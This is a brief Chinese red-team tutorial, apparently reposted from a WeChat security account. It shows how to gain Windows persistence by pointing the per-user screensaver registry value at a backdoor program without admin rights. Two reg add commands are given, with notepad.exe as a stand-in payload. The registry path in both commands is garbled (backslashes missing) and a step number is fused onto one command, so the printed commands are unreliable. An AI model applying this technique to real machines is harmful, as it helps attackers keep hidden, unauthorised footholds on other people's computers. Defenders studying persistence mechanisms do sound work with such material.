一、屏幕保护持久化
屏幕保护应该都知道, 这里的利用方式十分简单, 就是替换屏幕保护程序为自己的后门程序实现的持久化。这个操作不需要高权限用户即可实现替换， 普通用户即可。
注册表存在位置
HKEY_CURRENT_USERControl PanelDesktop具体操作
1.为屏幕保护创建一个注册表项并插入后门
reg add "HKEY_CURRENT_USERControl PanelDesktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\windows\system32\notepad.exe" /f2.再创建一个注册表项设置屏幕保护的超时时间决定什么时候启动屏幕保护程序
reg add "HKEY_CURRENT_USERControl PanelDesktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f 3.注销查看后门效果，根据设置的超时时间等待即可查看启动效果
原文始发于微信公众号（LemonSec）：红队技巧 -- 屏幕持久化
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论